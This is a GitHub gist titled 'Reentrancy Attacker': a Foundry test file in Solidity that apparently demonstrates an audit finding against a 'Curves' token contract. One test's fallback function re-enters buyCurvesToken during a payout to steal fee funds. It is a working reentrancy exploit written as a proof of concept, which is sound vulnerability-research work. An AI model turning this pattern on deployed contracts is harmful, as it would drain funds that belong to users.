Skip to content

Instantly share code, notes, and snippets.

@nonseodion
Created February 13, 2024 23:36
Show Gist options
  • Save nonseodion/cf2f71ee0d352b207d2e3ab6dc11f08f to your computer and use it in GitHub Desktop.
Save nonseodion/cf2f71ee0d352b207d2e3ab6dc11f08f to your computer and use it in GitHub Desktop.
Reentrancy Attacker
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import {Test, console2} from "forge-std/Test.sol";
import {Curves} from "contracts/Curves.sol";
import {CurvesERC20Factory} from "contracts/CurvesERC20Factory.sol";
import {FeeSplitter} from "contracts/FeeSplitter.sol";
contract CurvesTest is Test {
Curves curves;
FeeSplitter feeRedistributor;
function setUp() public {
CurvesERC20Factory curvesERC20Factory = new CurvesERC20Factory();
feeRedistributor = new FeeSplitter();
curves = new Curves(address(curvesERC20Factory), address(feeRedistributor));
feeRedistributor.setCurves(curves);
// 100%
curves.setMaxFeePercent(1 ether);
// 10% 0% 10%
curves.setExternalFeePercent(0.1 ether, 0, 0.1 ether);
}
modifier consoleBalance() {
uint256 balanceBefore = address(this).balance;
_;
uint256 balanceAfter = address(this).balance;
console2.log(balanceAfter - balanceBefore);
}
}
contract CurvesTokenSubjectNormalFeeTest is CurvesTest {
function testCurvesTokenSubjectNormalFee() public consoleBalance {
curves.buyCurvesTokenWithName(address(this), 1, "", "");
address user = makeAddr("User");
uint256 value = curves.getBuyPriceAfterFee(address(this), 1);
vm.deal(user, value);
vm.startPrank(user);
curves.buyCurvesToken{value: value}(address(this), 1);
vm.stopPrank();
feeRedistributor.claimFees(address(this));
}
receive() external payable {}
}
contract CurvesTokenSubjectStealFeeFundsTest is CurvesTest {
bool toggle;
function testCurvesTokenSubjectCanStealFeeFunds() public consoleBalance {
curves.buyCurvesTokenWithName(address(this), 1, "", "");
address user = makeAddr("User");
uint256 value = curves.getBuyPriceAfterFee(address(this), 1);
vm.deal(user, value);
vm.startPrank(user);
curves.buyCurvesToken{value: value}(address(this), 1);
vm.stopPrank();
feeRedistributor.claimFees(address(this));
curves.sellCurvesToken(address(this), 1);
}
function toggleFn() external {
toggle = !toggle;
}
fallback() external payable {
if (!toggle) {
toggle = true;
curves.buyCurvesToken{value: curves.getBuyPriceAfterFee(address(this), 1)}(address(this), 1);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment